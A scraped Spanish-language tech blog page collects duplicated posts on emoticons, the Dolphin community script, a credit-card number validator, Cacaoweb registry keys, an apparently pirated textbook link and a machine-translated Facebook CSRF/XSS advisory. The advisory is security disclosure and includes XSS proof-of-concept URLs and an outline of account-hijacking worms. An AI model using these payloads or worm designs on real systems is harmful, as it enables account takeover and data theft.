Electronik-Pro, Informatica, Noticas,Wordpress,Facebook,Hacking,Programas,Hosting,Dominios

Emoticon de dragones para tu msn

<div style="text-align: center;">Bueno gente aqui les dejo una nueva opcion en emotics<img alt="" border="0" src="http://i41.tinypic.com/doaxyr.gif"> es un pack con 61 emotic de dragones <img alt="" border="0" src="http://i43.tinypic.com/hsj5l2.gif"> . Espero les guste.<img alt="" border="0" src="http://i40.tinypic.com/v7avpu.gif"> pdt:estos son algunos de los emotic <img alt="" border="0" src="http://i39.tinypic.com/zlq8wo.gif"> <table id="ncode_imageresizer_warning_1" class="ncode_imageresizer_warning" width="600"><tbody><tr><td class="td1" width="20"><img alt="Resigzed Image" border="0" height="16" src="http://www.wf-zone.us/images/statusicon/wol_error.gif" title="Resigzed Image" width="16"></td><td class="td2">Haga click en esta barra para ver la imagen completa.</td></tr></tbody></table><img alt="" border="0" height="445" id="ncode_imageresizer_container_1" src="http://img291.imageshack.us/img291/2199/dragonbrothersemoiconsb.jpg" width="600"> <a href="http://www.4shared.com/file/raaTqHop/Twin_Dragon_.html">Descagar: </a> </div>

Emoticon de dragones para tu msn

Bueno gente aqui les dejo una nueva opcion en emotics es un pack con 61 emotic de dragones . Espero les guste. pdt:estos son alg...

Dolphin - Un script gratguito para redes sociales

<div style="text-align: center;"><img alt="" /><a href="http://www.scriptsopensource.com/wp-content/uploads/2009/04/box_dolphin_huge.jpg"><img alt="" class="size-medium wp-image-134 alignnone" height="144" src="http://www.scriptsopensource.com/wp-content/uploads/2009/04/box_dolphin_huge.jpg" title="Script dolphin opensource" width="121" /></a> Dolphin es un profesional, completamente equipado y segura comunidad de software que le permite iniciar una única comunidad social . Delphin-Smart Community Builder es un sencillo script fácil de administrar y fácil de personalizar PHP, MySQL, XHTML basada en la comunidad. Características: la promoción de diseño de Flash, innovadores para la construcción avanzada de personalización del sitio, flash chat, foros, blogs, mensajería instantánea, los medios de comunicación Galería (música, vídeo y foto), RSS, segura de contraseñas y codificación UTF-8, Grupos, Clasificados, Eventos, Reproductor de música, reproductor de vídeo, pizarra, presencia en la web, el perfil de las encuestas y calificaciones, lista de amigos, Hotlist, multi-proveedor de apoyo a los sistemas de pago, sistema de rotación de banner y más. Todos esto, de forma gratuita.<div style="text-align: center;"> </div><a href="http://www.boonex.com/">Página Oficial</a><div style="text-align: center;"> </div><a href="http://www.boonex.com/products/dolphin/download/">Descargar </a><div style="text-align: center;"> </div><a href="http://www.boonex.us/">Demo del sitio funcionando</a><div style="text-align: center;"> </div><a href="http://www.demozzz.com/dolphin/admindemo/admin/">Admin demo</a><div style="text-align: center;"> </div>Username: admin Password: dolphin</div>

Dolphin - Un script gratguito para redes sociales

Dolphin es un profesional, completamente equipado y segura comunidad de software que le permite iniciar una única comunidad social . Delp...

Dolphin - Un script gratguito para redes sociales

<div style="text-align: center;"><img alt=""><a href="http://www.scriptsopensource.com/wp-content/uploads/2009/04/box_dolphin_huge.jpg"><img alt="" class="size-medium wp-image-134 alignnone" height="144" src="http://www.scriptsopensource.com/wp-content/uploads/2009/04/box_dolphin_huge.jpg" title="Script dolphin opensource" width="121"></a> Dolphin es un profesional, completamente equipado y segura comunidad de software que le permite iniciar una única comunidad social . Delphin-Smart Community Builder es un sencillo script fácil de administrar y fácil de personalizar PHP, MySQL, XHTML basada en la comunidad. Características: la promoción de diseño de Flash, innovadores para la construcción avanzada de personalización del sitio, flash chat, foros, blogs, mensajería instantánea, los medios de comunicación Galería (música, vídeo y foto), RSS, segura de contraseñas y codificación UTF-8, Grupos, Clasificados, Eventos, Reproductor de música, reproductor de vídeo, pizarra, presencia en la web, el perfil de las encuestas y calificaciones, lista de amigos, Hotlist, multi-proveedor de apoyo a los sistemas de pago, sistema de rotación de banner y más. Todos esto, de forma gratuita.<div style="text-align: center;"> </div><a href="http://www.boonex.com/">Página Oficial</a><div style="text-align: center;"> </div><a href="http://www.boonex.com/products/dolphin/download/">Descargar </a><div style="text-align: center;"> </div><a href="http://www.boonex.us/">Demo del sitio funcionando</a><div style="text-align: center;"> </div><a href="http://www.demozzz.com/dolphin/admindemo/admin/">Admin demo</a><div style="text-align: center;"> </div>Username: admin Password: dolphin</div>

Dolphin - Un script gratguito para redes sociales

Dolphin es un profesional, completamente equipado y segura comunidad de software que le permite iniciar una única comunidad social . Delp...

cardcheck - Programa Validador de Targetas

<div style="text-align: center;"><div align="center"><img alt="" border="0" src="http://www.fileflash.com/graphics/screens/CardCheck-132.gif" /></div> <div align="center">CardCheck comprueba que los números de una tarjeta de crédito son correctos. Realmente CardCheck no verifica la información de la tarjeta, únicamente lo que hace es comprobar que el conjunto de números de la tarjeta son correctos. Hace un chequeo de validación para asegurar la validez de la tarjeta que se comprueba. Este sistema es capaz de encontrar en el 90% de los casos una tarjeta erronea de una correcta. CardCheck también te ofrece la posibilidad de darle un listado de números de tarjetas de crédito, para hacer una comprobación masiva de tarjetas. Además podrás imprimir los resultados. Para utilizar CardCheck necesitas: * Sistema operativo: Win95/98/98SE/2000/NT </div><div class="hiddencontent"><a href="http://members.fortunecity.com/hbook/cardcheck.zip">http://members.fortunecity.com/hbook/cardcheck.zip</a></div></div>

cardcheck - Programa Validador de Targetas

CardCheck comprueba que los números de una tarjeta de crédito son correctos. Realmente CardCheck no verifica la información de la tarjeta, ...

Ver peliculas subidas a Megavideo atraves de Cacaoweb

<div style="text-align: center;">He descargado Cacaoweb desde la pagina oficial <a href="http://www.cacaoweb.org/downloads.html" target="_blank">http://www.cacaoweb.org/downloads.html</a> Me he bajado la versión de windows, ya que voy con Win 7. Es una especie de proxy local, que gestiona un sistema de p2p. Al lanzar el cacaoweb.exe se abre en el navegador la pagina del programa (local) que es. <a href="http://127.0.0.1:4001/index.html" target="_blank">http://127.0.0.1:4001/index.html</a> Lo guardamos en un favorito en los diversos navegadores que utilicemos, para acceder con cualquier navegador siempre que queramos, siempre y cuando que este cargado el programa cacaoweb.exe, sino daria pagina no encontrada. Si miramos en el taskmanager lo veremos correr. <img alt="" border="0" src="http://img255.imageshack.us/img255/2099/15824989.jpg" /> En esta esta pagina web local hay varias opciones, las mas importantes son una caja (box) para entrar un link de megavideo, con lo que nos abre un player sencillo donde vemos la peli de megavideo pero atraves del sistema cacaoweb y un link a adminitracion desde donde entre otras cosas permite quitar el cacaoweb.exe de la memoria (cerrarlo), de hecho corre el link: <a href="http://127.0.0.1:4001/exit.html" target="_blank">http://127.0.0.1:4001/exit.html</a> Ahora bien este programa en su ultima version cuando corre se copia (en win 7) en: c:\Users\USUARIO\AppData\Roaming\cacaoweb\ En este directorio tambien se almacenan los ficheros megavideo9S0MZR5G1006870435.cacao de las peliculas que se estan ó han sido visionados. Fijarse que el descriptor (8 letras) de los links de Megavideo aparece en negrita. Y coloca las claves : <div class="bbcode_container"> <div class="bbcode_description">Código:</div> <pre class="bbcode_code" style="height: 72px;">[HKEY_CURRENT_USER\Software\cacaoweb] @="C:\\Users\\USUARIO\\AppData\\Roaming\\cacaoweb\\cacaoweb.exe" [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] "cacaoweb"="\"C:\\Users\\USUARIO\\AppData\\Roaming\\cacaoweb\\cacaoweb.exe\" -noplayer"</pre> </div> USUARIO es tu nombre de usuario en windows 7. En windows xp claro esta el directorio sera diferente, si buscais con el explorer de windows la cadena 'cacaoweb' (sin los apostrofes) lo encontrareis muy fácilmente. La segunda clave hace que el programa se cargue automáticamente cada vez que se inicia windows, aunque en este caso no se abre la ventana del navegador, ya que se utiliza el parámetro -noplayer. Existe un plugin para firefox , pero lo unico que hace es substituir el player megavideo por el player <div class="bbcode_container"> <div class="bbcode_description">Código:</div> <pre class="bbcode_code" style="height: 36px;">http://www.cacaoweb.org/player/currentplayer.swf</pre> </div> <img alt="" border="0" src="http://addons.mozilla.org/img/uploads/previews/thumbs/44/44606.png" /> <a href="https://addons.mozilla.org/es-ES/firefox/addon/133454/" target="_blank">https://addons.mozilla.org/es-ES/firefox/addon/133454/</a> La primera vez que lo instale probé y funciona muy bien, pero otro dia se cortaban las pelis a los 2 o 3 minutos, etc.., He encontrado una versión mas antigua (solo meses) que a mi me funciona mucho mejor, ya que la ultima en muchas ocasiones se me cortaba. En este link podéis bajarlo: <a href="http://www.apponic.com/free-downloads-114/cacaoweb-1.2.0.3/" target="_blank">http://www.apponic.com/free-download...aoweb-1.2.0.3/</a> <img alt="" border="0" src="http://img13.imageshack.us/img13/4307/99743750.jpg" /> La única diferencia respecto a su instalacion es que en esta versión no se copia cacaowe.exe en la direccion comentada , aunque tambien se carga automáticamente cacaoweb.exe al iniciar windows, pero desde el sitio donde lo hemos lanzado. Aparte en esta version el player que sale al introcucir el descriptor de megavideo en la caja ( box) , no me funciona, (fíjate que en la nueva versión es el link entero, aquí es solo el descriptor de 8 letras) pero el link FLV es correcto y por lo tanto funcionan todos los players web de FLV. Es decir los links de las web funcionan perfectamente, tambien funciona el plugin de firefox y podéis utilizar el link : <a href="http://www.estrenosonline.org/player/Cacaop.htm" target="_blank">http://www.estrenosonline.org/player/Cacaop.htm</a> , podéis salvarlo en un favorito y sirve para pegar el link megavideo que queramos ver, si el box no os funciona. Si quereis limpiar el registro podeis utilizar este fichero .reg <div class="bbcode_container"> <div class="bbcode_description">Código:</div> <pre class="bbcode_code" style="height: 96px;">Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\Software\cacaoweb] @=- [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] "cacaoweb"=-</pre> </div> Una vez tenemos a cacaoweb.exe corriendo. Podemos acceder al FLV de megavideo mediante un link local. Ejemplo dado el link megavideo: <div class="bbcode_container"> <div class="bbcode_description">Código:</div> <pre class="bbcode_code" style="height: 36px;"> ]http://megavideo.com/?v=BPQ1J5ZN</pre> </div> El link local del FLV sera: <div class="bbcode_container"> <div class="bbcode_description">Código:</div> <pre class="bbcode_code" style="height: 36px;">http://127.0.0.1:4001/megavideo/megavideo.caml?videoid=BPQ1J5ZN</pre> </div> Este link lo podemos poner en cualquier player para FLV de tipo web ( por ejemplo tipo Jw) ó bien correrlo con mplayer y en vlc. También en pelis de megavideo divididos en 2 partes(CD) ó mas , podemos unirlos con un multiplayer y ver la peli entera. saludos gracias a lucisto</div>

Ver peliculas subidas a Megavideo atraves de Cacaoweb

He descargado Cacaoweb desde la pagina oficial http://www.cacaoweb.org/downloads.html Me he bajado la versión de windows, ya que voy con Win...

INGENIERIA DEL SOFTWARE UN ENFOQUE PRACTICO

<div style="text-align: center;">NGENIERIA DEL SOFTWARE UN ENFOQUE PRACTICO Roger S. Pressman (Editorial McGraw-Hill) Formato PDF Tamaño rar 92,5 Mb Idioma Español 640 pp Editorial McGraw-Hill Año 2002 <img alt="" border="0" src="http://img114.imageshack.us/img114/7254/481321491bs.jpg" /> En esta quinta edición se ha realizado una revisión completa con objeto de reflejar las prácticas más actuales de la ingeniería del software. Se ha incluido material sobre comercio electrónico, Java y UML, y materias tales como formulación, análisis y pruebas de aplicaciones Web en un capítulo nuevo sobre la ingeniería Web.Con la adaptación especial realizada por Darrel Ince, este es el libro ideal para estudiantes de ingeniería del software y de electrónica. También resultará un libro atrayente para profesionales de industria que buscan tener una buena guía dentro de la ingeniería del software.Características clave:Últimas versiones de Java y UML.Tratamiento más amplio de sistemas distribuidos incluyendo seguridad y comercio electrónico.Examen del entorno Web y sus implicaciones en la ingeniería del software.Nuevos estudios de casos y ejemplos para demostrar la puesta en práctica de esta teoría. * PARTE 1. EL PRODUCTO Y EL PROCESO. * 1. El producto. * 2. El proceso. * PARTE 2. GESTIÓN DE PROYECTOS DE SOFTWARE. * 3. Conceptos sobre gestión de proyectos. * 4. Proceso de software y métricas de proyectos. * 5. Planificación de proyectos de software. * 6. Análisis y gestión del riesgo. * 7. Planificación temporal y seguimiento del proyecto. * 8. Garantía de calidad del software (SQA/GCS). * 9. Gestión de la configuración del software (GCS/SCM). * PARTE 3. MÉTODOS CONVENCIONALES PARA LA INGENIERÍA DEL SOFTWARE. * 10. Ingeniería de sistemas. * 11. Conceptos y principios del análisis. * 12. Modelado del análisis. * 13. Conceptos y principios del diseño. * 14. Diseño arquitectónico. * 15. Diseño de la interfaz de usuario. * 16. Diseño a nivel de componentes. * 17. Técnicas de prueba del software. * 18. Estrategias de prueba del software. * 19. Métricas técnicas del software. * PARTE 4. INGENIERÍA DEL SOFTWARE ORIENTADA A OBJETOS. * 20. Conceptos y principios orientados a objetos. * 21. Análisis orientado a objetos. * 22. Diseño orientado a objetos. * 23. Pruebas orientadas a objetos. * 24. Métricas técnicas de sistemas orientados a objetos. * PARTE 5. TEMAS AVANZADOS EN INGENIERÍA DEL SOFTWARE. * 25. Métodos formales. * 26. Ingeniería del software de sala limpia. * 27. Ingeniería del software basada en componentes. * 28. Ingeniería del software del comercio electrónico cliente/servidor. * 29. Ingeniería web. * 30. Reingeniería. * 31. Ingeniería del software asistida por computadora. * 32. Perspectivas futuras. <a href="http://www.megaupload.com/?d=SC5MB695" target="_blank">http://www.megaupload.com/?d=SC5MB695</a> No password</div>

INGENIERIA DEL SOFTWARE UN ENFOQUE PRACTICO

NGENIERIA DEL SOFTWARE UN ENFOQUE PRACTICO Roger S. Pressman (Editorial McGraw-Hill) Formato PDF Tamaño rar 92,5 Mb Idioma Español 640 pp E...

INGENIERIA DEL SOFTWARE UN ENFOQUE PRACTICO

<div style="text-align: center;">NGENIERIA DEL SOFTWARE UN ENFOQUE PRACTICO Roger S. Pressman (Editorial McGraw-Hill) Formato PDF Tamaño rar 92,5 Mb Idioma Español 640 pp Editorial McGraw-Hill Año 2002 <img alt="" border="0" src="http://img114.imageshack.us/img114/7254/481321491bs.jpg"> En esta quinta edición se ha realizado una revisión completa con objeto de reflejar las prácticas más actuales de la ingeniería del software. Se ha incluido material sobre comercio electrónico, Java y UML, y materias tales como formulación, análisis y pruebas de aplicaciones Web en un capítulo nuevo sobre la ingeniería Web.Con la adaptación especial realizada por Darrel Ince, este es el libro ideal para estudiantes de ingeniería del software y de electrónica. También resultará un libro atrayente para profesionales de industria que buscan tener una buena guía dentro de la ingeniería del software.Características clave:Últimas versiones de Java y UML.Tratamiento más amplio de sistemas distribuidos incluyendo seguridad y comercio electrónico.Examen del entorno Web y sus implicaciones en la ingeniería del software.Nuevos estudios de casos y ejemplos para demostrar la puesta en práctica de esta teoría. * PARTE 1. EL PRODUCTO Y EL PROCESO. * 1. El producto. * 2. El proceso. * PARTE 2. GESTIÓN DE PROYECTOS DE SOFTWARE. * 3. Conceptos sobre gestión de proyectos. * 4. Proceso de software y métricas de proyectos. * 5. Planificación de proyectos de software. * 6. Análisis y gestión del riesgo. * 7. Planificación temporal y seguimiento del proyecto. * 8. Garantía de calidad del software (SQA/GCS). * 9. Gestión de la configuración del software (GCS/SCM). * PARTE 3. MÉTODOS CONVENCIONALES PARA LA INGENIERÍA DEL SOFTWARE. * 10. Ingeniería de sistemas. * 11. Conceptos y principios del análisis. * 12. Modelado del análisis. * 13. Conceptos y principios del diseño. * 14. Diseño arquitectónico. * 15. Diseño de la interfaz de usuario. * 16. Diseño a nivel de componentes. * 17. Técnicas de prueba del software. * 18. Estrategias de prueba del software. * 19. Métricas técnicas del software. * PARTE 4. INGENIERÍA DEL SOFTWARE ORIENTADA A OBJETOS. * 20. Conceptos y principios orientados a objetos. * 21. Análisis orientado a objetos. * 22. Diseño orientado a objetos. * 23. Pruebas orientadas a objetos. * 24. Métricas técnicas de sistemas orientados a objetos. * PARTE 5. TEMAS AVANZADOS EN INGENIERÍA DEL SOFTWARE. * 25. Métodos formales. * 26. Ingeniería del software de sala limpia. * 27. Ingeniería del software basada en componentes. * 28. Ingeniería del software del comercio electrónico cliente/servidor. * 29. Ingeniería web. * 30. Reingeniería. * 31. Ingeniería del software asistida por computadora. * 32. Perspectivas futuras. <a href="http://www.megaupload.com/?d=SC5MB695" target="_blank">http://www.megaupload.com/?d=SC5MB695</a> No password</div>

INGENIERIA DEL SOFTWARE UN ENFOQUE PRACTICO

NGENIERIA DEL SOFTWARE UN ENFOQUE PRACTICO Roger S. Pressman (Editorial McGraw-Hill) Formato PDF Tamaño rar 92,5 Mb Idioma Español 640 pp E...

los más sexys disfraces -Halloween 2010

<div style="text-align: center;"><img alt="" border="0" height="360" id="ncode_imageresizer_container_1" src="http://www.rpp.com.pe/pict.php?a=1&g=8&c=n&p=multimedia.rpp.com.pe%21files%21]f%7C%21fotos%21entretenimiento%21131010-bombon-rojo%21bombon-rojo.jpg" width="480" /> Hola aca Poniendo unas Fotos de los Disfraces mas Sexys de Halloween 2010 en la cuidad de lima Lima estas son algunas modelos y claro la fuente es de rpp, espero que les uste a todos uds y para nuestras usuarias ahi escojan su modelito para sus afortunados novios nos vemos asta otra oportunidad <img alt="" border="0" height="360" id="ncode_imageresizer_container_2" src="http://www.rpp.com.pe/pict.php?a=1&g=8&c=n&p=multimedia.rpp.com.pe%21files%21]f%7C%21fotos%21entretenimiento%21131010-bombon-rojo%21bombon-rojo1.jpg" width="480" /> <table id="ncode_imageresizer_warning_3" class="ncode_imageresizer_warning" width="480"><tbody><tr><td class="td1" width="20"><img alt="Resigzed Image" border="0" height="16" src="http://www.tuforovip.com/images/statusicon/wol_error.gif" title="Resigzed Image" width="16" /></td><td class="td2">Da click para ver imagen completa.</td></tr></tbody></table><img alt="" border="0" height="360" id="ncode_imageresizer_container_3" src="http://www.rpp.com.pe/pict.php?a=1&g=8&c=n&p=multimedia.rpp.com.pe%21files%21]f%7C%21fotos%21entretenimiento%21131010-bombon-rojo%21bombon-rojo2.jpg" width="480" /> <table id="ncode_imageresizer_warning_4" class="ncode_imageresizer_warning" width="480"><tbody><tr><td class="td1" width="20"><img alt="Resigzed Image" border="0" height="16" src="http://www.tuforovip.com/images/statusicon/wol_error.gif" title="Resigzed Image" width="16" /></td><td class="td2">Da click para ver imagen completa.</td></tr></tbody></table><img alt="" border="0" height="360" id="ncode_imageresizer_container_4" src="http://www.rpp.com.pe/pict.php?a=1&g=8&c=n&p=multimedia.rpp.com.pe%21files%21]f%7C%21fotos%21entretenimiento%21131010-bombon-rojo%21bombon-rojo3.jpg" width="480" /> <table id="ncode_imageresizer_warning_5" class="ncode_imageresizer_warning" width="480"><tbody><tr><td class="td1" width="20"><img alt="Resigzed Image" border="0" height="16" src="http://www.tuforovip.com/images/statusicon/wol_error.gif" title="Resigzed Image" width="16" /></td><td class="td2">Da click para ver imagen completa.</td></tr></tbody></table><img alt="" border="0" height="360" id="ncode_imageresizer_container_5" src="http://www.rpp.com.pe/pict.php?a=1&g=8&c=n&p=multimedia.rpp.com.pe%21files%21]f%7C%21fotos%21entretenimiento%21131010-bombon-rojo%21bombon-rojo6.jpg" width="480" /> <table id="ncode_imageresizer_warning_6" class="ncode_imageresizer_warning" width="480"><tbody><tr><td class="td1" width="20"><img alt="Resigzed Image" border="0" height="16" src="http://www.tuforovip.com/images/statusicon/wol_error.gif" title="Resigzed Image" width="16" /></td><td class="td2">Da click para ver imagen completa.</td></tr></tbody></table><img alt="" border="0" height="360" id="ncode_imageresizer_container_6" src="http://www.rpp.com.pe/pict.php?a=1&g=8&c=n&p=multimedia.rpp.com.pe%21files%21]f%7C%21fotos%21entretenimiento%21131010-bombon-rojo%21bombon-rojo7.jpg" width="480" /> <table id="ncode_imageresizer_warning_7" class="ncode_imageresizer_warning" width="480"><tbody><tr><td class="td1" width="20"><img alt="Resigzed Image" border="0" height="16" src="http://www.tuforovip.com/images/statusicon/wol_error.gif" title="Resigzed Image" width="16" /></td><td class="td2">Da click para ver imagen completa.</td></tr></tbody></table><img alt="" border="0" height="360" id="ncode_imageresizer_container_7" src="http://www.rpp.com.pe/pict.php?a=1&g=8&c=n&p=multimedia.rpp.com.pe%21files%21]f%7C%21fotos%21entretenimiento%21131010-bombon-rojo%21bombon-rojo8.jpg" width="480" /> <table id="ncode_imageresizer_warning_8" class="ncode_imageresizer_warning" width="480"><tbody><tr><td class="td1" width="20"><img alt="Resigzed Image" border="0" height="16" src="http://www.tuforovip.com/images/statusicon/wol_error.gif" title="Resigzed Image" width="16" /></td><td class="td2">Da click para ver imagen completa.</td></tr></tbody></table><img alt="" border="0" height="360" id="ncode_imageresizer_container_8" src="http://www.rpp.com.pe/pict.php?a=1&g=8&c=n&p=multimedia.rpp.com.pe%21files%21]f%7C%21fotos%21entretenimiento%21131010-bombon-rojo%21bombon-rojo9.jpg" width="480" /> <table id="ncode_imageresizer_warning_9" class="ncode_imageresizer_warning" width="480"><tbody><tr><td class="td1" width="20"><img alt="Resigzed Image" border="0" height="16" src="http://www.tuforovip.com/images/statusicon/wol_error.gif" title="Resigzed Image" width="16" /></td><td class="td2">Da click para ver imagen completa.</td></tr></tbody></table><img alt="" border="0" height="360" id="ncode_imageresizer_container_9" src="http://www.rpp.com.pe/pict.php?a=1&g=8&c=n&p=multimedia.rpp.com.pe%21files%21]f%7C%21fotos%21entretenimiento%21131010-bombon-rojo%21bombon-rojo10.jpg" width="480" /><img alt="" border="0" class="inlineimg" src="http://www.tuforovip.com/images/smilies/biggrin.gif" title="Big Grin" /> <table id="ncode_imageresizer_warning_10" class="ncode_imageresizer_warning" width="480"><tbody><tr><td class="td1" width="20"><img alt="Resigzed Image" border="0" height="16" src="http://www.tuforovip.com/images/statusicon/wol_error.gif" title="Resigzed Image" width="16" /></td><td class="td2">Da click para ver imagen completa.</td></tr></tbody></table><img alt="" border="0" height="360" id="ncode_imageresizer_container_10" src="http://www.rpp.com.pe/pict.php?a=1&g=8&c=n&p=multimedia.rpp.com.pe%21files%21]f%7C%21fotos%21entretenimiento%21131010-bombon-rojo%21bombon-rojo11.jpg" width="480" /> <table id="ncode_imageresizer_warning_11" class="ncode_imageresizer_warning" width="480"><tbody><tr><td class="td1" width="20"><img alt="Resigzed Image" border="0" height="16" src="http://www.tuforovip.com/images/statusicon/wol_error.gif" title="Resigzed Image" width="16" /></td><td class="td2">Da click para ver imagen completa.</td></tr></tbody></table><img alt="" border="0" height="360" id="ncode_imageresizer_container_11" src="http://www.rpp.com.pe/pict.php?a=1&g=8&c=n&p=multimedia.rpp.com.pe%21files%21]f%7C%21fotos%21entretenimiento%21131010-bombon-rojo%21bombon-rojo12.jpg" width="480" /> <table id="ncode_imageresizer_warning_12" class="ncode_imageresizer_warning" width="480"><tbody><tr><td class="td1" width="20"><img alt="Resigzed Image" border="0" height="16" src="http://www.tuforovip.com/images/statusicon/wol_error.gif" title="Resigzed Image" width="16" /></td><td class="td2">Da click para ver imagen completa.</td></tr></tbody></table><img alt="" border="0" height="360" id="ncode_imageresizer_container_12" src="http://www.rpp.com.pe/pict.php?a=1&g=8&c=n&p=multimedia.rpp.com.pe%21files%21]f%7C%21fotos%21entretenimiento%21131010-bombon-rojo%21bombon-rojo13.jpg" width="480" /> <table id="ncode_imageresizer_warning_13" class="ncode_imageresizer_warning" width="480"><tbody><tr><td class="td1" width="20"><img alt="Resigzed Image" border="0" height="16" src="http://www.tuforovip.com/images/statusicon/wol_error.gif" title="Resigzed Image" width="16" /></td><td class="td2">Da click para ver imagen completa.</td></tr></tbody></table><img alt="" border="0" class="ncode_imageresizer_original" height="360" id="ncode_imageresizer_container_13" src="http://www.rpp.com.pe/pict.php?a=1&g=8&c=n&p=multimedia.rpp.com.pe%21files%21]f%7C%21fotos%21entretenimiento%21131010-bombon-rojo%21bombon-rojo15.jpg" width="480" /> </div>

$los más sexys disfraces -Halloween 2010$ los más sexys disfraces -Halloween 2010

Hola aca Poniendo unas Fotos de los Disfraces mas Sexys de Halloween 2010 en la cuidad de lima Lima estas son algunas modelos y claro la fue...

Facebook y vulnerabilidades, Gusanos ....

<div style="text-align: center;"><img alt="http://idiotcode.com/wp-content/uploads/2010/09/facebookhacked.png" src="http://idiotcode.com/wp-content/uploads/2010/09/facebookhacked.png" style="width: 377px; height: 251px;" />
 Facebook CSRF y vulnerabilidades XSS | gusanos destructivos en una red social
 Facebook es un sitio web de redes sociales con el segundo número más alto
 de visitas en todo el mundo, y más de 500 millones de usuarios activos. Nuestro equipo
 recientemente realizó una auditoria de seguridad de la página principal de Facebook
 junto con sus versiones móviles. Aquí están los detalles de nuestro
 resultados.
 
 I. DESCRIPCIÓN DE LAS VULNERABILIDADES
 
 Facebook cuenta con un sistema anti-CSRF basa en dos fichas,
 respectivamente llamado post_form_id y fb_dtsg. Estas fichas de cambio
 con frecuencia, y son sin duda basa en varios parámetros como
 hora del día, el tiempo de creación de la cuenta, identificador de usuario, y muchos otros.
 La determinación de los valores de estas fichas para un usuario específico, en nuestro
 punto de vista, imposible.
 
 Afortunadamente, Facebook ofrece una funcionalidad llamada "vista previa perfil",
 permitiendo a los usuarios para ver cómo su propio perfil parece a cualquier otro usuario.
 Se puede acceder mediante el
 URL: http://www.facebook.com/profile.php?v=wall&viewas = <viewer_id>. </viewer_id>Y
 esta función tiene un error. Cuando el usuario conectado permite que cualquier persona
 Comentario sobre la pared de su (a través de su configuración de privacidad), una forma (al menos) es
 dado que los usuarios puedan comentar sobre los mensajes publicados. En tal caso, cuando
 rellenar el parámetro viewas con el id de cualquier usuario, el script
 devuelve - entre otras cosas - el símbolo post_form_id de este mismo
 usuario, junto con el formulario necesario para comentar sobre la pared. Por ejemplo,
 establecer su configuración de privacidad de forma adecuada y va a
 http://www.facebook.com/profile.php?v=wall&viewas=4 revelará la
 post_form_id muestra de Mark Zuckerberg. ;-)
 
 Este error también se puede encontrar en la alimentación de ajax
 http://www.facebook.com/ajax/stream/profile.php?__a=1&profile_id = <user_id> y viewer_id = <victim_id>.</victim_id></user_id>
 
 Dos inconvenientes: en primer lugar, necesita de la víctima Identificación para recuperar su
 post_form_id simbólico. Entonces, usted todavía necesita el token fb_dtsg segundo. La
 primer problema es en realidad un problema fácil de resolver si se utiliza una pequeña
 falla CSRF situado en la m.facebook.com versión móvil. De hecho, el
 "Como" script no requiere ningún anti-token CSRF: se puede utilizar en un
 ataque CSRF para recuperar el nombre, y por lo tanto el ello, de la víctima.
 
 Nótese bien : Cuando un usuario inicia sesión en el sitio principal de entonces se registra en cualquier
 versión para móviles, así que todo es aprovechable en las principales
 versión.
 
 El segundo problema podría haber sido un problema grave si el Facebook
 equipo no nos había dejado con la posibilidad de enviar solicitudes de amistad
 sin fb_dtsg símbolo de la touch.facebook.com versión táctil. Nosotros
 considerar esto como un defecto, ya que muchos pueden hacerse una vez que se amigo con
 la víctima.
 
 Terminamos la descripción de los defectos con nuestros últimos hallazgos, dos XSS
 fallas ubicadas en cada versión móvil de Facebook, a saber, m.facebook.com
 y touch.facebook.com. Más precisamente, los guiones son incriminados
 http://m.facebook.com/l.php?u = adress> <external h=" <hash"> y</external>
 http://touch.facebook.com/l_warn.php?u = adress> <external h=" <hash">,</external>
 redirigiendo a los usuarios a la dirección proporcionada externa. Cuando se omite la h
 parámetro, la secuencia de comandos devuelve una advertencia como la dirección externa,
 que no está correctamente esterilizado antes de ser enviado de vuelta. Aquí hay dos
 prueba de concepto
 URL: http://m.facebook.com/l.php?u=http://ex.xss/ <script> alert ('XSS');</ script> y http://touch.facebook.com/l_warn.php?u=http://ex.xss/ ", alerta <script> ('XSS');</ script> II. IMPACTO DE LAS VULNERABILIDADES El impacto de estas fallas pueden ser enormes. Hemos creado dos diferentes gusanos a fin de demostrar el potencial de estas vulnerabilidades. Estos gusanos se propagan a través tanto de una aplicación de Facebook que silenciosamente cargas un script malicioso externo. El primer gusano se aprovecha de la fallas CSRF sucesivamente recuperar el id y post_form_id de la víctima, y el envío de una solicitud de amigo al atacante a través del tacto la versión de Facebook. El atacante acepta la solicitud (automáticamente), se roba todas las Información personal, publica un mensaje en la pared de la víctima para garantizar la difusión, y elimina su amistad con la víctima. En resumen, este gusano de silencio se recupera toda la información personal sobre la víctima en unos segundos. El segundo gusano es mucho más destructivo: utiliza las fallas de XSS realizar un intento de phishing maliciosos, aprovechándose de la confianza apps.facebook.com URL para engañar a la víctima. La víctima tiene la opción entre dar su contraseña de correo electrónico y hacer clic en un botón ("Cancelar") que lanza una petición que los cambios en su correo electrónico de contacto (Que es posible sin la contraseña del usuario en m.facebook.com), finalmente lugar a la modificación de su contraseña a través del "Contraseña olvidada" procedimiento. Una vez que la contraseña recuperada o modificada, el atacante se registra en la cuenta de la víctima, le roba todo el personal información como mensajes privados, envía un mensaje privado a todos los amigos de la víctima para garantizar la difusión, publica todos los privados Mensajes en la pared de la víctima, que el perfil de la víctima visible para nadie, y, finalmente, borrar todos los datos personales (fotos, privado mensajes, los mensajes de edad). Estos escenarios han sido ilustrados por nuestro equipo en dos videos, en donde hemos simulado la propagación de estos gusanos en una pequeña comunidad. No dude en seguir: Parte I: falla CSRF de seguridad en Facebook | Cómo construir un silencio CSRF gusano http://www.youtube.com/watch?v=T1yAuu2LG_s Parte II: XSS en Facebook | ¿Cómo construir un gusano XSS destructiva http://www.youtube.com/watch?v=s2n668nZR5k III. SOLUCIONES Todas estas deficiencias se han notificado a Facebook. Todos ellos son ahora parches, con excepción de la falla post_form_id en la funcionalidad de vista previa: este defecto ya no es útil ya que Facebook elimina la posibilidad de enviar solicitudes de amistad sin fb_dtsg peón en touch.facebook.com. IV. CRÉDITOS Estas vulnerabilidades han sido descubiertas por John Jean de Wargan Soluciones. Originales de asesoramiento: http://www.wargan.com/facebook-multiple-vulnerabilities-051010.php Siga con nosotros en Twitter @ johnjean No aceptamos ninguna responsabilidad por los daños causados por el uso o mal uso de esta información. Un agradecimiento especial a Alex Rice (Facebook equipo de seguridad) por su amabilidad y capacidad de respuesta.<div id="gt-res-tools" class="g-section" style=""><div style="display: none;" class="gt-icon-c" tabindex="0" id="gt-res-listen">Escuchar</div><div class="gt-icon-c" tabindex="0" style="display: none;" id="gt-res-roman">Leer 